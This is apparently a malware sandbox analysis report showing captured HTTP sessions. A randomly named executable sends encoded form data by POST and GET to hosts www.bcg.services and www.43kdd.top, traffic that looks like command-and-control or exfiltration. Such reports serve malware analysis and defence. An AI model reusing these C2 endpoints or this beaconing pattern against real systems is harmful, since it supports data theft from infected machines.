                                                                  Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                  Dec 5, 2024 14:07:40.181662083 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                  Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWU2M2JmOTgtM2M5My00YjM5LTg2ZWMtZWZkMGM0MTkzNWY0IiwicGFnZV90aW1lIjoxNzMzNDA0MD


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  2192.168.2.449750199.59.243.227801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:07:41.755337000 CET749OUTPOST /5onp/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.bcg.services
                                                                  Origin: http://www.bcg.services
                                                                  Referer: http://www.bcg.services/5onp/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 4a 53 4f 49 4c 71 6d 31 68 58 63 4f 38 68 35 49 74 78 57 69 6d 79 48 44 38 57 35 6a 6a 74 69 76 2f 44 4e 50 7a 6d 76 48 49 39 2b 58 33 41 74 62 32 6a 50 51 6a 47 58 73 51 65 4c 33 54 4f 43 58 4a 39 5a 6f 78 6d 77 51 66 43 48 39 69 50 62 41 76 4d 7a 47 69 37 44 2f 62 42 58 62 79 6b 71 52 6c 32 75 62 71 2b 78 56 41 55 72 6d 71 68 65 4f 53 66 36 49 52 58 39 46 74 55 6f 53 6f 44 61 36 53 79 6d 48 61 52 62 44 6b 57 58 74 36 56 6d 4d 7a 52 4c 46 33 2f 38 4b 4d 58 42 52 63 61 2f 76 4b 39 6e 79 5a 42 43 38 33 2f 4f 31 55 72 67 49 2b 57 58 32 4b 6b 63 6e 47 42 50 78 56 4e 34 53 79 45 65 6a 77 51 78 61 79 75 51 3d
                                                                  Data Ascii: -n=VSFgwmtnFo8YJSOILqm1hXcO8h5ItxWimyHD8W5jjtiv/DNPzmvHI9+X3Atb2jPQjGXsQeL3TOCXJ9ZoxmwQfCH9iPbAvMzGi7D/bBXbykqRl2ubq+xVAUrmqheOSf6IRX9FtUoSoDa6SymHaRbDkWXt6VmMzRLF3/8KMXBRca/vK9nyZBC83/O1UrgI+WX2KkcnGBPxVN4SyEejwQxayuQ=
                                                                  Dec 5, 2024 14:07:42.838087082 CET1236INHTTP/1.1 200 OK
                                                                  date: Thu, 05 Dec 2024 13:07:42 GMT
                                                                  content-type: text/html; charset=utf-8
                                                                  content-length: 1114
                                                                  x-request-id: 53d0944f-1dce-4db6-b6c2-fcab032fb585
                                                                  cache-control: no-store, max-age=0
                                                                  accept-ch: sec-ch-prefers-color-scheme
                                                                  critical-ch: sec-ch-prefers-color-scheme
                                                                  vary: sec-ch-prefers-color-scheme
                                                                  x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                  set-cookie: parking_session=53d0944f-1dce-4db6-b6c2-fcab032fb585; expires=Thu, 05 Dec 2024 13:22:42 GMT; path=/
                                                                  connection: close
                                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                  Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                  Dec 5, 2024 14:07:42.838171959 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                  Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNTNkMDk0NGYtMWRjZS00ZGI2LWI2YzItZmNhYjAzMmZiNTg1IiwicGFnZV90aW1lIjoxNzMzNDA0MD


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  3192.168.2.449761199.59.243.227801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:07:44.412048101 CET10831OUTPOST /5onp/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.bcg.services
                                                                  Origin: http://www.bcg.services
                                                                  Referer: http://www.bcg.services/5onp/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 56 53 46 67 77 6d 74 6e 46 6f 38 59 4a 53 4f 49 4c 71 6d 31 68 58 63 4f 38 68 35 49 74 78 57 69 6d 79 48 44 38 57 35 6a 6a 74 36 76 38 77 46 50 68 56 48 48 47 64 2b 58 37 67 74 65 32 6a 50 64 6a 43 37 67 51 65 50 4e 54 4d 36 58 4a 62 56 6f 6d 6a 63 51 57 43 48 39 67 50 62 4e 68 73 79 47 69 37 54 37 62 43 2f 62 79 6b 71 52 6c 33 2b 62 36 66 78 56 4d 30 72 70 74 68 65 61 57 66 36 67 52 57 56 56 74 55 6b 43 70 79 36 36 52 53 32 48 64 7a 6a 44 6d 32 58 76 37 56 6e 66 7a 51 33 65 33 2f 78 37 4d 58 64 37 63 61 62 76 61 34 57 57 45 77 2b 48 70 64 72 75 4d 63 56 6f 78 45 72 49 4d 30 51 79 4f 78 44 62 46 4f 42 78 36 6e 44 34 30 42 64 64 75 62 55 70 77 61 7a 69 6b 55 4b 73 31 41 76 4f 4e 4f 64 4d 42 70 58 53 45 2b 36 7a 57 62 53 43 66 6d 2f 44 61 52 7a 4b 76 70 4b 49 7a 66 31 59 35 63 56 76 2b 6b 6c 5a 43 51 72 2b 6a 6e 44 50 6d 59 42 35 4f 30 38 7a 6c 31 46 41 34 41 37 71 2b 79 44 59 56 4c 64 6c 50 4f 6d 61 6f 42 6c 61 65 59 32 65 4a 70 49 32 31 6b 41 42 31 55 4f 6d 32 59 71 6a 36 7a 4b 53 61 66 4b [TRUNCATED]
                                                                  Data Ascii: -n=VSFgwmtnFo8YJSOILqm1hXcO8h5ItxWimyHD8W5jjt6v8wFPhVHHGd+X7gte2jPdjC7gQePNTM6XJbVomjcQWCH9gPbNhsyGi7T7bC/bykqRl3+b6fxVM0rptheaWf6gRWVVtUkCpy66RS2HdzjDm2Xv7VnfzQ3e3/x7MXd7cabva4WWEw+HpdruMcVoxErIM0QyOxDbFOBx6nD40BddubUpwazikUKs1AvONOdMBpXSE+6zWbSCfm/DaRzKvpKIzf1Y5cVv+klZCQr+jnDPmYB5O08zl1FA4A7q+yDYVLdlPOmaoBlaeY2eJpI21kAB1UOm2Yqj6zKSafKMUad/lgggumK5MruGXCsARnfzgdgL/dK9wZpaOoXbGvFJRPXwULbxR48rNWYu+s0/76PEY+SXz4EcZaber61RbVDJhdvtx/GQJ62gKiQbx7waALECbFqsiXjgr4p3mCzOAcmNBZCd3SyfC7W57QUjJ0fyWdWRIzcCQ+6lmRsa7UUQpFdI55VPJMGnXmnIZ+DPDqtvtY15MDj85CI9zGwjVvKc2C9JItQvGtGPPyijQukGWmY8aERHG8uW+T8zU2reK80hXZ3Q3c2UR7M9hehTKV6jQ/fnebwSHS+w6ZuLAhtuhrbF/UZDHT/IR0MJiKF1MczyPsF4T/TgIVzc64S5p9WLll/EwbtfK6qgxKmA3xBAzzIyXOnwn4ildETgPZV3rhwXjptfzVnuScrtKH4YC+IPMZ7esvnAQ/0pgtlBdr8t5dRLzohH7K8eqqhkp+c5hHzL+zdZo/8W3d4yXJlsPz1Xu4xCXXCFcEU40xHbHPwJT0zA8Pv3/6sC2fHA4u4nS39TPx3KgvFzMqVUaz1HJwQpjDf9p0tFyuJYTGTGJaN4K2zSv6XoWlE+BxBdi6snW5cqDtZ57gCb0Wn6y6di5ugMpwqlhH9CZCi2Uo/z21gOqNd6zEf0Mna7rK9BZwu+yX9CfYoCtirFZCMOaO/ccZ2nrwPUdgyiB [TRUNCATED]
                                                                  Dec 5, 2024 14:07:45.494083881 CET1236INHTTP/1.1 200 OK
                                                                  date: Thu, 05 Dec 2024 13:07:44 GMT
                                                                  content-type: text/html; charset=utf-8
                                                                  content-length: 1114
                                                                  x-request-id: e64e4bdf-ad09-4d63-92e6-5786e2a5ae5a
                                                                  cache-control: no-store, max-age=0
                                                                  accept-ch: sec-ch-prefers-color-scheme
                                                                  critical-ch: sec-ch-prefers-color-scheme
                                                                  vary: sec-ch-prefers-color-scheme
                                                                  x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==
                                                                  set-cookie: parking_session=e64e4bdf-ad09-4d63-92e6-5786e2a5ae5a; expires=Thu, 05 Dec 2024 13:22:45 GMT; path=/
                                                                  connection: close
                                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 66 71 4e 57 61 65 36 37 45 56 57 31 49 64 6a 62 79 57 46 50 79 6f 51 4d 4c 54 53 4c 43 6d 43 30 75 41 37 5a 5a 4f 6f 46 6b 43 67 72 45 47 31 41 6d 6f 32 73 44 44 47 58 62 58 32 30 79 33 6c 56 78 52 4f 39 44 4d 4c 78 70 30 52 55 73 6b 46 46 79 43 34 2b 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                  Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_fqNWae67EVW1IdjbyWFPyoQMLTSLCmC0uA7ZZOoFkCgrEG1Amo2sDDGXbX20y3lVxRO9DMLxp0RUskFFyC4+qw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                  Dec 5, 2024 14:07:45.494565964 CET567INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                  Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZTY0ZTRiZGYtYWQwOS00ZDYzLTkyZTYtNTc4NmUyYTVhZTVhIiwicGFnZV90aW1lIjoxNzMzNDA0MD


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  4192.168.2.449767199.59.243.227801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:07:47.063035011 CET463OUTGET /5onp/?-n=YQtAzQFhELh+NSSrGqCNnhce8BNGqUHm8iHa4W14s/j18xx0uDy8MYWH0B9/yw3XqDLZco6qWp6tHax8xys+UQeEteLMn8uXkqbvRDHjk1GU4HyortJJJ3Q=&e018=ylo8idjP HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.bcg.services
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:07:48.151151896 CET1236INHTTP/1.1 200 OK
                                                                  date: Thu, 05 Dec 2024 13:07:47 GMT
                                                                  content-type: text/html; charset=utf-8
                                                                  content-length: 1446
                                                                  x-request-id: 5ad748ef-823b-4c15-8ab3-9ac83db4aad6
                                                                  cache-control: no-store, max-age=0
                                                                  accept-ch: sec-ch-prefers-color-scheme
                                                                  critical-ch: sec-ch-prefers-color-scheme
                                                                  vary: sec-ch-prefers-color-scheme
                                                                  x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jKqUasHSkfGGn0YAlap7aQPdMU4xydvm0xDGgFtYe7VmbK5CDIVIQzpADZXPwzphAe95RaWoxFBkzVstNPRfxg==
                                                                  set-cookie: parking_session=5ad748ef-823b-4c15-8ab3-9ac83db4aad6; expires=Thu, 05 Dec 2024 13:22:47 GMT; path=/
                                                                  connection: close
                                                                  Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 6a 4b 71 55 61 73 48 53 6b 66 47 47 6e 30 59 41 6c 61 70 37 61 51 50 64 4d 55 34 78 79 64 76 6d 30 78 44 47 67 46 74 59 65 37 56 6d 62 4b 35 43 44 49 56 49 51 7a 70 41 44 5a 58 50 77 7a 70 68 41 65 39 35 52 61 57 6f 78 46 42 6b 7a 56 73 74 4e 50 52 66 78 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                  Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_jKqUasHSkfGGn0YAlap7aQPdMU4xydvm0xDGgFtYe7VmbK5CDIVIQzpADZXPwzphAe95RaWoxFBkzVstNPRfxg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
                                                                  Dec 5, 2024 14:07:48.151196957 CET899INData Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62
                                                                  Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNWFkNzQ4ZWYtODIzYi00YzE1LThhYjMtOWFjODNkYjRhYWQ2IiwicGFnZV90aW1lIjoxNzMzNDA0MD


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  5192.168.2.44982038.47.232.202801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:10.600358963 CET720OUTPOST /bsyy/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.43kdd.top
                                                                  Origin: http://www.43kdd.top
                                                                  Referer: http://www.43kdd.top/bsyy/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 50 6c 55 34 79 33 69 4a 59 4b 51 42 54 75 74 6b 79 45 77 34 6f 48 62 45 45 71 74 57 4d 69 56 38 64 4f 73 52 31 39 75 6f 4d 4b 70 43 75 66 70 59 45 48 54 69 79 41 4f 72 4d 76 5a 65 57 44 77 34 6a 61 52 73 37 48 54 67 7a 53 61 52 36 6c 37 54 38 71 39 6e 2b 57 7a 5a 35 76 44 51 30 6d 53 72 65 49 42 6d 55 6b 34 4e 46 41 68 71 7a 57 67 7a 69 44 78 58 45 52 30 74 55 54 4b 34 4f 50 30 4d 2f 36 37 63 77 7a 4f 43 6e 66 2f 36 7a 34 5a 4b 6f 70 78 45 48 44 6e 61 71 74 47 52 6b 56 59 4b 31 72 37 63 2b 41 6e 67 39 57 36 2b 74 31 44 64 5a 48 4a 4b 67 67 3d 3d
                                                                  Data Ascii: -n=9/+MxePuBp2hPlU4y3iJYKQBTutkyEw4oHbEEqtWMiV8dOsR19uoMKpCufpYEHTiyAOrMvZeWDw4jaRs7HTgzSaR6l7T8q9n+WzZ5vDQ0mSreIBmUk4NFAhqzWgziDxXER0tUTK4OP0M/67cwzOCnf/6z4ZKopxEHDnaqtGRkVYK1r7c+Ang9W6+t1DdZHJKgg==
                                                                  Dec 5, 2024 14:08:12.151705027 CET312INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:08:11 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 148
                                                                  Connection: close
                                                                  ETag: "66df9b06-94"
                                                                  Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  6192.168.2.44982938.47.232.202801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:08:13.257100105 CET740OUTPOST /bsyy/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.43kdd.top
                                                                  Origin: http://www.43kdd.top
                                                                  Referer: http://www.43kdd.top/bsyy/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 39 2f 2b 4d 78 65 50 75 42 70 32 68 4f 46 45 34 2f 32 69 4a 4a 71 51 4f 63 4f 74 6b 34 6b 78 2f 6f 48 58 45 45 72 6f 4e 4d 33 6c 38 65 75 38 52 32 38 75 6f 4c 4b 70 43 68 2f 70 6e 4b 6e 54 72 79 41 44 63 4d 76 31 65 57 48 59 34 6a 66 74 73 6e 6c 37 6a 68 79 61 66 38 6c 37 52 68 36 39 6e 2b 57 7a 5a 35 76 57 31 30 6d 61 72 65 34 52 6d 56 46 34 4b 49 67 68 74 32 57 67 7a 6d 44 78 54 45 52 30 44 55 58 43 57 4f 4b 77 4d 2f 37 72 63 31 79 4f 46 74 66 2f 67 38 59 59 2f 68 73 6f 41 47 44 69 51 30 4f 36 42 73 32 31 74 77 74 32 47 76 78 47 33 76 57 65 4e 77 79 4b 70 55 45 30 44 37 72 6a 49 70 67 4c 4a 51 58 35 63 36 47 65 43 55 78 33 64 31 49 73 3d
                                                                  Data Ascii: -n=9/+MxePuBp2hOFE4/2iJJqQOcOtk4kx/oHXEEroNM3l8eu8R28uoLKpCh/pnKnTryADcMv1eWHY4jftsnl7jhyaf8l7Rh69n+WzZ5vW10mare4RmVF4KIght2WgzmDxTER0DUXCWOKwM/7rc1yOFtf/g8YY/hsoAGDiQ0O6Bs21twt2GvxG3vWeNwyKpUE0D7rjIpgLJQX5c6GeCUx3d1Is=
                                                                  Dec 5, 2024 14:08:14.789452076 CET312INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:08:14 GMT
                                                                  Content-Type: text/html
                                                                  Content-Length: 148
                                                                  Connection: close
                                                                  ETag: "66df9b06-94"
                                                                  Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                  Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  7192.168.2.44983638.47.232.202801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
